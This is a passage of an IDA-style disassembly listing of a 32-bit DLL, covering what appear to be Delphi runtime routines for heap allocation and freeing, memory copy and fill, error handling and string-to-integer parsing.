loc_10001FDD:				; CODE XREF: sub_10001F24+B4j
		sar	ecx, 2
		mov	edi, ds:dword_1000A61C
		mov	[edi+ecx*4-0Ch], eax
		mov	ecx, [edx]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx

loc_10001FFA:				; CODE XREF: sub_10001F24+AEj
		mov	eax, esi
		mov	edx, [edx+8]
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_1000A5AC
		sub	ebx, 4
		add	ds:dword_1000A5B0, ebx
		call	sub_1000312C
		jmp	loc_100020A7
; ---------------------------------------------------------------------------

loc_10002023:				; CODE XREF: sub_10001F24+66j
					; sub_10001F24+84j
		cmp	ebx, ds:dword_1000A614
		jg	short loc_10002075
		sub	ds:dword_1000A614, ebx
		cmp	ds:dword_1000A614, 0Ch
		jge	short loc_10002047
		add	ebx, ds:dword_1000A614
		xor	eax, eax
		mov	ds:dword_1000A614, eax

loc_10002047:				; CODE XREF: sub_10001F24+114j
		mov	eax, ds:dword_1000A618
		add	ds:dword_1000A618, ebx
		mov	edx, ebx
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_1000A5AC
		sub	ebx, 4
		add	ds:dword_1000A5B0, ebx
		call	sub_1000312C
		jmp	short loc_100020A7
; ---------------------------------------------------------------------------

loc_10002075:				; CODE XREF: sub_10001F24+105j
		mov	eax, ebx
		call	sub_10001E30
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100020A7

loc_1000208C:				; CODE XREF: sub_10001F24+181j
		cmp	ds:byte_1000A045, 0
		jz	short locret_1000209F
		push	offset dword_1000A5C4
		call	sub_1000119C	; RtlLeaveCriticalSection

locret_1000209F:			; CODE XREF: sub_10001F24+16Fj
		retn
; ---------------------------------------------------------------------------

loc_100020A0:				; DATA XREF: sub_10001F24+32o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_1000208C
; ---------------------------------------------------------------------------

loc_100020A7:				; CODE XREF: sub_10001F24+2Aj
					; sub_10001F24+FAj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_10001F24	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100020B4	proc near		; CODE XREF: sub_10001AA0+1Cp
					; sub_10002434+88p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	eax, eax
		mov	ds:dword_1000A5C0, eax
		cmp	ds:byte_1000A5BC, 0
		jnz	short loc_100020EC
		call	sub_10001838
		test	al, al
		jnz	short loc_100020EC
		mov	ds:dword_1000A5C0, 8
		mov	[ebp+var_4], 8
		jmp	loc_1000224D
; ---------------------------------------------------------------------------

loc_100020EC:				; CODE XREF: sub_100020B4+17j
					; sub_100020B4+20j
		xor	ecx, ecx
		push	ebp
		push	offset loc_10002246
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	ds:byte_1000A045, 0
		jz	short loc_1000210D
		push	offset dword_1000A5C4
		call	sub_10001194	; RtlEnterCriticalSection

loc_1000210D:				; CODE XREF: sub_100020B4+4Dj
		mov	esi, ebx
		sub	esi, 4
		mov	ebx, [esi]
		test	bl, 2
		jnz	short loc_10002128
		mov	ds:dword_1000A5C0, 9
		jmp	loc_1000221D
; ---------------------------------------------------------------------------

loc_10002128:				; CODE XREF: sub_100020B4+63j
		dec	ds:dword_1000A5AC
		mov	eax, ebx
		and	eax, 7FFFFFFCh
		sub	eax, 4
		sub	ds:dword_1000A5B0, eax
		test	bl, 1
		jz	short loc_10002188
		mov	eax, esi
		sub	eax, 0Ch
		mov	edx, [eax+8]
		cmp	edx, 0Ch
		jl	short loc_10002158
		test	edx, 80000003h
		jz	short loc_10002167

loc_10002158:				; CODE XREF: sub_100020B4+9Aj
		mov	ds:dword_1000A5C0, 0Ah
		jmp	loc_1000221D
; ---------------------------------------------------------------------------

loc_10002167:				; CODE XREF: sub_100020B4+A2j
		mov	eax, esi
		sub	eax, edx
		cmp	edx, [eax+8]
		jz	short loc_1000217F
		mov	ds:dword_1000A5C0, 0Ah
		jmp	loc_1000221D
; ---------------------------------------------------------------------------

loc_1000217F:				; CODE XREF: sub_100020B4+BAj
		add	ebx, edx
		mov	esi, eax
		call	sub_100019DC

loc_10002188:				; CODE XREF: sub_100020B4+8Dj
		and	ebx, 7FFFFFFCh
		mov	eax, esi
		add	eax, ebx
		mov	edi, eax
		cmp	edi, ds:dword_1000A618
		jnz	short loc_100021C8
		sub	ds:dword_1000A618, ebx
		add	ds:dword_1000A614, ebx
		cmp	ds:dword_1000A614, 3C00h
		jle	short loc_100021B9
		call	sub_10001CCC

loc_100021B9:				; CODE XREF: sub_100020B4+FEj
		xor	eax, eax
		mov	[ebp+var_4], eax
		call	sub_1000312C
		jmp	loc_1000224D
; ---------------------------------------------------------------------------

loc_100021C8:				; CODE XREF: sub_100020B4+E6j
		mov	edx, [eax]
		test	dl, 2
		jz	short loc_100021EB
		and	edx, 7FFFFFFCh
		cmp	edx, 4
		jge	short loc_100021E6
		mov	ds:dword_1000A5C0, 0Bh
		jmp	short loc_1000221D
; ---------------------------------------------------------------------------

loc_100021E6:				; CODE XREF: sub_100020B4+124j
		or	dword ptr [eax], 1
		jmp	short loc_10002214
; ---------------------------------------------------------------------------

loc_100021EB:				; CODE XREF: sub_100020B4+119j
		mov	eax, edi
		cmp	dword ptr [eax+4], 0
		jz	short loc_100021FE
		cmp	dword ptr [eax], 0
		jz	short loc_100021FE
		cmp	dword ptr [eax+8], 0Ch
		jge	short loc_1000220A

loc_100021FE:				; CODE XREF: sub_100020B4+13Dj
					; sub_100020B4+142j
		mov	ds:dword_1000A5C0, 0Bh
		jmp	short loc_1000221D
; ---------------------------------------------------------------------------

loc_1000220A:				; CODE XREF: sub_100020B4+148j
		mov	edx, [eax+8]
		add	ebx, edx
		call	sub_100019DC

loc_10002214:				; CODE XREF: sub_100020B4+135j
		mov	edx, ebx
		mov	eax, esi
		call	sub_10001C44

loc_1000221D:				; CODE XREF: sub_100020B4+6Fj
					; sub_100020B4+AEj ...
		mov	eax, ds:dword_1000A5C0
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000224D

loc_10002232:				; CODE XREF: sub_100020B4+197j
		cmp	ds:byte_1000A045, 0
		jz	short locret_10002245
		push	offset dword_1000A5C4
		call	sub_1000119C	; RtlLeaveCriticalSection

locret_10002245:			; CODE XREF: sub_100020B4+185j
		retn
; ---------------------------------------------------------------------------

loc_10002246:				; DATA XREF: sub_100020B4+3Bo
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10002232
; ---------------------------------------------------------------------------

loc_1000224D:				; CODE XREF: sub_100020B4+33j
					; sub_100020B4+10Fj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_100020B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002258	proc near		; CODE XREF: sub_10002434+4Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		add	esi, 7
		and	esi, 0FFFFFFFCh
		cmp	esi, 0Ch
		jge	short loc_10002271
		mov	esi, 0Ch

loc_10002271:				; CODE XREF: sub_10002258+12j
		mov	ebp, eax
		sub	ebp, 4
		mov	edi, [ebp+0]
		and	edi, 7FFFFFFCh
		mov	eax, ebp
		add	eax, edi
		mov	ebx, eax
		cmp	edi, esi
		jnz	short loc_10002290
		mov	al, 1
		jmp	loc_1000242B
; ---------------------------------------------------------------------------

loc_10002290:				; CODE XREF: sub_10002258+2Fj
		cmp	edi, esi
		jle	loc_1000231B
		mov	edx, edi
		sub	edx, esi
		mov	[esp+18h+var_18], edx
		cmp	ebx, ds:dword_1000A618
		jnz	short loc_100022DF
		mov	eax, [esp+18h+var_18]
		sub	ds:dword_1000A618, eax
		mov	eax, [esp+18h+var_18]
		add	ds:dword_1000A614, eax
		cmp	ds:dword_1000A614, 0Ch
		jge	loc_10002412
		mov	eax, [esp+18h+var_18]
		add	ds:dword_1000A618, eax
		mov	eax, [esp+18h+var_18]
		sub	ds:dword_1000A614, eax
		mov	esi, edi
		jmp	loc_10002412
; ---------------------------------------------------------------------------

loc_100022DF:				; CODE XREF: sub_10002258+4Dj
		mov	ebx, eax
		test	byte ptr [ebx],	2
		jnz	short loc_100022F3
		mov	eax, ebx
		mov	edx, [eax+8]
		add	[esp+18h+var_18], edx
		call	sub_100019DC

loc_100022F3:				; CODE XREF: sub_10002258+8Cj
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_10002314
		mov	ebx, ebp
		add	ebx, esi
		mov	eax, [esp+18h+var_18]
		or	eax, 2
		mov	[ebx], eax
		mov	eax, ebx
		add	eax, 4
		call	sub_10001AA0
		jmp	loc_10002412
; ---------------------------------------------------------------------------

loc_10002314:				; CODE XREF: sub_10002258+9Fj
		mov	esi, edi
		jmp	loc_10002412
; ---------------------------------------------------------------------------

loc_1000231B:				; CODE XREF: sub_10002258+3Aj
					; sub_10002258+1B1j
		mov	eax, esi
		sub	eax, edi
		mov	[esp+18h+var_14], eax
		cmp	ebx, ds:dword_1000A618
		jnz	short loc_10002392
		mov	eax, ds:dword_1000A614
		cmp	eax, [esp+18h+var_14]
		jl	short loc_10002389
		mov	eax, [esp+18h+var_14]
		sub	ds:dword_1000A614, eax
		mov	eax, [esp+18h+var_14]
		add	ds:dword_1000A618, eax
		cmp	ds:dword_1000A614, 0Ch
		jge	short loc_1000236B
		mov	eax, ds:dword_1000A614
		add	ds:dword_1000A618, eax
		add	esi, ds:dword_1000A614
		xor	eax, eax
		mov	ds:dword_1000A614, eax

loc_1000236B:				; CODE XREF: sub_10002258+F9j
		mov	eax, esi
		sub	eax, edi
		add	ds:dword_1000A5B0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1
		jmp	loc_1000242B
; ---------------------------------------------------------------------------

loc_10002389:				; CODE XREF: sub_10002258+DCj
		call	sub_10001CCC
		mov	ebx, ebp
		add	ebx, edi

loc_10002392:				; CODE XREF: sub_10002258+D1j
		test	byte ptr [ebx],	2
		jnz	short loc_100023E4
		mov	edx, ebx
		mov	eax, edx
		mov	ecx, [eax+8]
		mov	[esp+18h+var_18], ecx
		mov	ecx, [esp+18h+var_18]
		cmp	ecx, [esp+18h+var_14]
		jge	short loc_100023B8
		add	edx, [esp+18h+var_18]
		mov	ebx, edx
		mov	eax, [esp+18h+var_18]
		sub	[esp+18h+var_14], eax
		jmp	short loc_100023E4
; ---------------------------------------------------------------------------

loc_100023B8:				; CODE XREF: sub_10002258+150j
		call	sub_100019DC
		mov	eax, [esp+18h+var_14]
		sub	[esp+18h+var_18], eax
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_100023D8
		mov	eax, ebp
		add	eax, esi
		mov	edx, [esp+18h+var_18]
		call	sub_10001C44
		jmp	short loc_10002412
; ---------------------------------------------------------------------------

loc_100023D8:				; CODE XREF: sub_10002258+170j
		add	esi, [esp+18h+var_18]
		mov	ebx, ebp
		add	ebx, esi
		and	dword ptr [ebx], 0FFFFFFFEh
		jmp	short loc_10002412
; ---------------------------------------------------------------------------

loc_100023E4:				; CODE XREF: sub_10002258+13Dj
					; sub_10002258+15Ej
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_1000240E
		and	eax, 7FFFFFFCh
		add	eax, ebx
		mov	ebx, eax
		mov	edx, [esp+18h+var_14]
		mov	eax, ebx
		call	sub_10001DD0
		test	al, al
		jz	short loc_1000240E
		mov	ebx, ebp
		add	ebx, edi
		jmp	loc_1000231B
; ---------------------------------------------------------------------------

loc_1000240E:				; CODE XREF: sub_10002258+193j
					; sub_10002258+1ABj
		xor	eax, eax
		jmp	short loc_1000242B
; ---------------------------------------------------------------------------

loc_10002412:				; CODE XREF: sub_10002258+68j
					; sub_10002258+82j ...
		mov	eax, esi
		sub	eax, edi
		add	ds:dword_1000A5B0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1

loc_1000242B:				; CODE XREF: sub_10002258+33j
					; sub_10002258+12Cj ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10002258	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002434	proc near		; CODE XREF: sub_10002538+Dp
					; DATA XREF: DATA:off_10009034o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		cmp	ds:byte_1000A5BC, 0
		jnz	short loc_1000245B
		call	sub_10001838
		test	al, al
		jnz	short loc_1000245B
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_100024EC
; ---------------------------------------------------------------------------

loc_1000245B:				; CODE XREF: sub_10002434+12j
					; sub_10002434+1Bj
		xor	edx, edx
		push	ebp
		push	offset loc_100024E5
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_1000A045, 0
		jz	short loc_1000247C
		push	offset dword_1000A5C4
		call	sub_10001194	; RtlEnterCriticalSection

loc_1000247C:				; CODE XREF: sub_10002434+3Cj
		mov	edx, esi
		mov	eax, ebx
		call	sub_10002258
		test	al, al
		jz	short loc_1000248E
		mov	[ebp+var_4], ebx
		jmp	short loc_100024C4
; ---------------------------------------------------------------------------

loc_1000248E:				; CODE XREF: sub_10002434+53j
		mov	eax, esi
		call	sub_10001F24
		mov	edi, eax
		mov	eax, ebx
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		cmp	esi, eax
		jge	short loc_100024AC
		mov	eax, esi

loc_100024AC:				; CODE XREF: sub_10002434+74j
		test	edi, edi
		jz	short loc_100024C1
		mov	edx, edi
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_1000263C
		mov	eax, ebx
		call	sub_100020B4

loc_100024C1:				; CODE XREF: sub_10002434+7Aj
		mov	[ebp+var_4], edi

loc_100024C4:				; CODE XREF: sub_10002434+58j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100024EC

loc_100024D1:				; CODE XREF: sub_10002434+B6j
		cmp	ds:byte_1000A045, 0
		jz	short locret_100024E4
		push	offset dword_1000A5C4
		call	sub_1000119C	; RtlLeaveCriticalSection

locret_100024E4:			; CODE XREF: sub_10002434+A4j
		retn
; ---------------------------------------------------------------------------

loc_100024E5:				; DATA XREF: sub_10002434+2Ao
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_100024D1
; ---------------------------------------------------------------------------

loc_100024EC:				; CODE XREF: sub_10002434+22j
					; DATA XREF: sub_10002434+98o
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_10002434	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100024F8	proc near		; CODE XREF: sub_10002C44+Ap
					; sub_100036E4+Cp ...
		push	ebx
		test	eax, eax
		jle	short loc_10002512
		call	ds:off_1000902C
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_10002514
		mov	al, 1
		call	sub_100025E0
; ---------------------------------------------------------------------------
		jmp	short loc_10002514
; ---------------------------------------------------------------------------

loc_10002512:				; CODE XREF: sub_100024F8+3j
		xor	ebx, ebx

loc_10002514:				; CODE XREF: sub_100024F8+Fj
					; sub_100024F8+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_100024F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002518	proc near		; CODE XREF: sub_10002C60+Cp
					; sub_10003620+1Cp ...
		push	ebx
		test	eax, eax
		jz	short loc_10002532
		call	ds:off_10009030
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_10002534
		mov	al, 2
		call	sub_100025E0
; ---------------------------------------------------------------------------
		jmp	short loc_10002534
; ---------------------------------------------------------------------------

loc_10002532:				; CODE XREF: sub_10002518+3j
		xor	ebx, ebx

loc_10002534:				; CODE XREF: sub_10002518+Fj
					; sub_10002518+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_10002518	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002538	proc near		; CODE XREF: sub_100039C8+22p
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_10002570
		test	edx, edx
		jz	short loc_1000255A
		push	eax
		mov	eax, ecx
		call	ds:off_10009034
		pop	ecx
		or	eax, eax
		jz	short loc_10002569
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------

loc_10002553:				; CODE XREF: sub_10002538+2Ej
		mov	al, 2
		jmp	sub_100025E0
; ---------------------------------------------------------------------------

loc_1000255A:				; CODE XREF: sub_10002538+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_10009030
		or	eax, eax
		jnz	short loc_10002553
		retn
; ---------------------------------------------------------------------------

loc_10002569:				; CODE XREF: sub_10002538+16j
					; sub_10002538+48j
		mov	al, 1
		jmp	sub_100025E0
; ---------------------------------------------------------------------------

loc_10002570:				; CODE XREF: sub_10002538+4j
		test	edx, edx
		jz	short locret_10002584
		push	eax
		mov	eax, edx
		call	ds:off_1000902C
		pop	ecx
		or	eax, eax
		jz	short loc_10002569
		mov	[ecx], eax

locret_10002584:			; CODE XREF: sub_10002538+3Aj
		retn
sub_10002538	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_10002588	proc near		; CODE XREF: sub_10002594+42p
					; CODE:100031DBp
		mov	ds:dword_10009004, edx
		call	sub_10003608
sub_10002588	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_10002594	proc near		; CODE XREF: sub_100025E0+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_1000A008, 0
		jz	short loc_100025B0
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_1000A008

loc_100025B0:				; CODE XREF: sub_10002594+10j
		test	bl, bl
		jnz	short loc_100025C1
		call	sub_10004460
		mov	ebx, [eax+4]
		jmp	short loc_100025D0
; ---------------------------------------------------------------------------

loc_100025C1:				; CODE XREF: sub_10002594+1Ej
		cmp	bl, 18h
		ja	short loc_100025D0
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_10009038[eax]

loc_100025D0:				; CODE XREF: sub_10002594+2Bj
					; sub_10002594+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_10002588
sub_10002594	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_100025E0	proc near		; CODE XREF: sub_100024F8+13p
					; sub_10002518+13p ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_10002594
sub_100025E0	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_100025EC	proc near		; CODE XREF: CODE:100068D4p
		push	eax
		push	edx
		push	ecx
		call	sub_10004460
		cmp	dword ptr [eax+4], 0
		pop	ecx
		pop	edx
		pop	eax
		jnz	short loc_10002601
		retn
; ---------------------------------------------------------------------------

loc_10002601:				; CODE XREF: sub_100025EC+12j
		xor	eax, eax
		jmp	sub_100025E0
sub_100025EC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000260C	proc near		; CODE XREF: sub_10002688+3Cp
					; sub_100026DC+38p ...
		push	ebx
		mov	ebx, eax
		call	sub_10004460
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_1000260C	endp


; =============== S U B	R O U T	I N E =======================================



sub_1000261C	proc near		; CODE XREF: sub_10006B2C+7p
		push	ebx
		call	sub_10004460
		mov	ebx, [eax+4]
		call	sub_10004460
		xor	edx, edx
		mov	[eax+4], edx
		mov	eax, ebx
		pop	ebx
		retn
sub_1000261C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000263C	proc near		; CODE XREF: sub_10002434+81p
					; sub_10003674+1Bp ...
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		cmp	edi, esi
		ja	short loc_1000265B
		jz	short loc_10002679
		sar	ecx, 2
		js	short loc_10002679
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_1000265B:				; CODE XREF: sub_1000263C+Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		sar	ecx, 2
		js	short loc_10002679
		std
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		add	esi, 3
		add	edi, 3
		rep movsb
		cld

loc_10002679:				; CODE XREF: sub_1000263C+Cj
					; sub_1000263C+11j ...
		pop	edi
		pop	esi
		retn
sub_1000263C	endp


; =============== S U B	R O U T	I N E =======================================



sub_1000267C	proc near		; CODE XREF: sub_100046E0+28p

var_8		= qword	ptr -8

		sub	esp, 8
		fistp	[esp+8+var_8]
		wait
		pop	eax
		pop	edx
		retn
sub_1000267C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002688	proc near		; CODE XREF: sub_100026D0+3p
		push	ebx
		mov	cx, [eax+4]
		sub	cx, 0D7B1h
		jz	short loc_100026A3
		dec	ecx
		sub	cx, 2
		jnb	short loc_100026A7
		mov	ebx, edx
		call	ebx
		mov	ebx, eax
		jmp	short loc_100026BE
; ---------------------------------------------------------------------------

loc_100026A3:				; CODE XREF: sub_10002688+Aj
		xor	ebx, ebx
		jmp	short loc_100026BE
; ---------------------------------------------------------------------------

loc_100026A7:				; CODE XREF: sub_10002688+11j
		cmp	eax, offset dword_1000A214
		jz	short loc_100026B5
		cmp	eax, offset dword_1000A3E0
		jnz	short loc_100026B9

loc_100026B5:				; CODE XREF: sub_10002688+24j
		xor	ebx, ebx
		jmp	short loc_100026BE
; ---------------------------------------------------------------------------

loc_100026B9:				; CODE XREF: sub_10002688+2Bj
		mov	ebx, 67h

loc_100026BE:				; CODE XREF: sub_10002688+19j
					; sub_10002688+1Dj ...
		test	ebx, ebx
		jz	short loc_100026C9
		mov	eax, ebx
		call	sub_1000260C

loc_100026C9:				; CODE XREF: sub_10002688+38j
		mov	eax, ebx
		pop	ebx
		retn
sub_10002688	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100026D0	proc near		; CODE XREF: CODE:100068CFp
		mov	edx, [eax+1Ch]
		call	sub_10002688
		retn
sub_100026D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100026DC	proc near		; CODE XREF: sub_1000428C+1Ep
					; sub_1000428C+28p ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_1000271B
		cmp	ax, 0D7B3h
		ja	short loc_1000271B
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_10002703
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax

loc_10002703:				; CODE XREF: sub_100026DC+1Ej
		test	esi, esi
		jnz	short loc_1000270E
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax

loc_1000270E:				; CODE XREF: sub_100026DC+29j
		test	esi, esi
		jz	short loc_1000272D
		mov	eax, esi
		call	sub_1000260C
		jmp	short loc_1000272D
; ---------------------------------------------------------------------------

loc_1000271B:				; CODE XREF: sub_100026DC+Ej
					; sub_100026DC+14j
		cmp	ebx, offset dword_1000A048
		jz	short loc_1000272D
		mov	eax, 67h
		call	sub_1000260C

loc_1000272D:				; CODE XREF: sub_100026DC+34j
					; sub_100026DC+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_100026DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002734	proc near		; CODE XREF: sub_10004698+2p
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_10002751
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_10002751:				; CODE XREF: sub_10002734+12j
		pop	edi
		retn
sub_10002734	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002754	proc near		; CODE XREF: sub_10004218+41p
					; sub_10005580+6p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_100027CA
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh

loc_10002767:				; CODE XREF: sub_10002754+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_10002767
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_100027D8
		cmp	bl, 2Bh
		jz	short loc_100027DA

loc_1000277B:				; CODE XREF: sub_10002754+89j
		cmp	bl, 24h
		jz	short loc_100027DF
		cmp	bl, 78h
		jz	short loc_100027DF
		cmp	bl, 58h
		jz	short loc_100027DF
		cmp	bl, 30h
		jnz	short loc_100027A2
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_100027DF
		cmp	bl, 58h
		jz	short loc_100027DF
		test	bl, bl
		jz	short loc_100027C0
		jmp	short loc_100027A6
; ---------------------------------------------------------------------------

loc_100027A2:				; CODE XREF: sub_10002754+39j
		test	bl, bl
		jz	short loc_100027D3

loc_100027A6:				; CODE XREF: sub_10002754+4Cj
					; sub_10002754+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_100027D3
		cmp	eax, edi
		ja	short loc_100027D3
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_100027A6

loc_100027C0:				; CODE XREF: sub_10002754+4Aj
		dec	ch
		jz	short loc_100027CD
		test	eax, eax
		jge	short loc_1000281C
		jmp	short loc_100027D3
; ---------------------------------------------------------------------------

loc_100027CA:				; CODE XREF: sub_10002754+8j
					; sub_10002754+95j
		inc	esi
		jmp	short loc_100027D3
; ---------------------------------------------------------------------------

loc_100027CD:				; CODE XREF: sub_10002754+6Ej
		neg	eax
		jle	short loc_1000281C
		js	short loc_1000281C

loc_100027D3:				; CODE XREF: sub_10002754+50j
					; sub_10002754+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_1000281F
; ---------------------------------------------------------------------------

loc_100027D8:				; CODE XREF: sub_10002754+20j
		inc	ch

loc_100027DA:				; CODE XREF: sub_10002754+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_1000277B
; ---------------------------------------------------------------------------

loc_100027DF:				; CODE XREF: sub_10002754+2Aj
					; sub_10002754+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_100027CA

loc_100027EB:				; CODE XREF: sub_10002754+C0j
		cmp	bl, 61h
		jb	short loc_100027F3
		sub	bl, 20h

loc_100027F3:				; CODE XREF: sub_10002754+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_10002806
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_100027D3
		add	bl, 0Ah

loc_10002806:				; CODE XREF: sub_10002754+A5j
		cmp	eax, edi
		ja	short loc_100027D3
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_100027EB
		dec	ch
		jnz	short loc_1000281C
		neg	eax

loc_1000281C:				; CODE XREF: sub_10002754+72j
					; sub_10002754+7Bj ...
		pop	ecx
		xor	esi, esi

loc_1000281F:				; CODE XREF: sub_10002754+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10002754	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002828	proc near		; CODE XREF: sub_10007408+A5p
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		and	ecx, 0FFh
		repe cmpsb
		pop	edi
		pop	esi
		retn
sub_10002828	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000283C	proc near		; CODE XREF: sub_10005FB9+58p
		jmp	sub_10002844
sub_1000283C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002844	proc near		; CODE XREF: sub_1000283Cj
		push	ebx
		xor	ebx, ebx
		test	eax, eax
		jl	short loc_10002898
		jz	loc_100028EB
		cmp	eax, 1400h
		jge	loc_100028DD
		mov	edx, eax
